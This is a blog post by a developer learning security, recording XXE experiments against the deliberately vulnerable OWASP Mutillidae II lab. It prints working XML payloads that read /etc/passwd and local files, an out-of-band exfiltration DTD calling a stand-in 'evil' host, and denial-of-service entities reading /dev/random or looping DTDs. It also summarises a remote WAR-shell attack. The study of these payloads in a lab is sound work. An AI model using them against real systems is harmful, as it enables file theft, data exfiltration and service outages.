About this blog

I'm a developer with over 10 years experience who wants to transition to infosec. This blog is an informal record of my experiments with OWASP's Mutillidae II, a web application exhibiting a multitude of deliberate vulnerabilities. I will also take Offensive Security's PWK training course and get the OSCP certificate

Thursday, 1 September 2016

XXE experimentation

XXE = XML eXternal Entities.

The XML validator page in Mutillidae takes XML as input.

http://localhost/mutillidae/index.php?page=xml-validator.php&xml=whatever

We can make the parser include a file using a SYSTEM entity.

<?xml version="1.0"?>
 <!DOCTYPE foo [  
  <!ELEMENT bar ANY>
  <!ENTITY file SYSTEM "/etc/passwd">
]>
<bar>&file;</bar>


The SYSTEM entity can also grab remote resources using protocols such as HTTP.

Bad characters

The problem is that the content of the document is parsed as XML (and in accordance with the DOCTYPE), and this will often blow up due to undeclared entities, undeclared elements, and so on therein.  So the types of document that can be grabbed, either locally or remotely, is limited.  For example trying to load this sort of malformed content will blow up:

foo.txt: >!!<]>

This obviously isn't going to overcome it:

<bar><![CDATA[&file;]]></bar>

I really thought this would work, but it still tries to parse the file entity as XML (and fails):

<?xml version="1.0"?>
 <!DOCTYPE foo [  
  <!ELEMENT bar ANY>
  <!ENTITY begin "&lt;[CDATA[">
  <!ENTITY end "]]&gt;">
  <!ENTITY file SYSTEM "foo.txt">
]>
<bar>&begin;&file;&end;</bar>


Eventually I consulted an XXE guide, which told me I could get a CDATA section to work using parameters and a bit of indirection:

<?xml version="1.0"?>
 <!DOCTYPE foo [  
  <!ELEMENT bar ANY>
  <!ENTITY % start "<![CDATA[">
  <!ENTITY % end "]]>">
  <!ENTITY % file SYSTEM "foo.txt">
  <!ENTITY % dtd SYSTEM "http://localhost/join.dtd">
%dtd;
]>
<bar>&joined;</bar>

join.dtd: <!ENTITY joined "%start;%file;%end;">

This does work (returning text >!!<]>), but it still has limitations, such as blowing up if it encounters a % character that isn't also a valid parameter reference.  I.e. 'foo % bar' will blow up, but 'foo %bar;' won't (although '%bar;' doesn't refer to a valid param it doesn't count as an error, just a warning).

Exfiltration with HTTP call

I wondered whether I could get the data out via an HTTP call:

...
  <!ENTITY file SYSTEM "helloworld.txt">
  <!ENTITY leak SYSTEM "http://localhost/?&file;">
]>
<bar>&leak;</bar>

That doesn't work though.  After reading around the subject a bit, I tried parameter expansion.

<?xml version="1.0"?>
 <!DOCTYPE foo [  
  <!ELEMENT bar ANY>
  <!ENTITY % file "helloworld.txt">
  <!ENTITY % dtd SYSTEM "http://localhost/join2.dtd">
%dtd;
%leaker;
]>
<bar>&leak;</bar>

join2.dtd: <!ENTITY % leaker "<!ENTITY leak SYSTEM 'http://localhost/?%file;'>">

This does work, resulting in a call to ?helloworld on the server, but it's an overall failure because the file parameter is merely a string, not a SYSTEM entity.  Because if I make it a SYSTEM entity to read a file, it blows up (Invalid URI: http://localhost/?helloworld).   It read the file data and constructed the URL just fine, it  just doesn't want to call it!

I even tried copying somebody else's code pretty much verbatim, which does it only a slightly different way (managing to encode the % into the body of a param entity so that the leak can take place before any XML parsing takes place - all in the preprocessing section):

<!DOCTYPE updateProfile [
 <!ENTITY % file SYSTEM "../helloworld.txt">
 <!ENTITY % dtd SYSTEM "http://localhost/send.dtd">
%dtd;
%leaker;
%leak;
]]>

send.dtd: 
<!ENTITY % leaker "<!ENTITY &#x25; leak SYSTEM 'http://evil/?%file;'>">
%all; 

That fails with the same error message.  Hmm..  no joy.  Something to investigate more another time, I don't want to be beaten!  But moving on for now...

Denial of service

Oops:

<?xml version="1.0"?>
 <!DOCTYPE foo [  
  <!ELEMENT bar ANY>
  <!ENTITY file SYSTEM "/dev/random">
]>
<bar>&file;</bar>

Or:

<?xml version="1.0"?>
 <!DOCTYPE foo [  
  <!ELEMENT bar ANY>
  <!ENTITY % dtd SYSTEM "http://localhost/blackhole.dtd">
%dtd;
]>

blackhole.dtd: %dtd;

I also tried entity A pointing at entity B, which pointed back at entity A, for a black hole.  But that didn't work.

Other

The OWASP slides 'What You Didnt Know About XXE Attacks' have more interesting attacks in them, such as this one:

  1. Getting the server to retrieve a WAR from evilserver as part of a SYSTEM directive
  2. Holding the port open at the end of the xfer to leave the temp file in place
  3. Triggering deployment of the tempfile WAR, which contains a shell

Amazing! :-)

No comments:

Post a Comment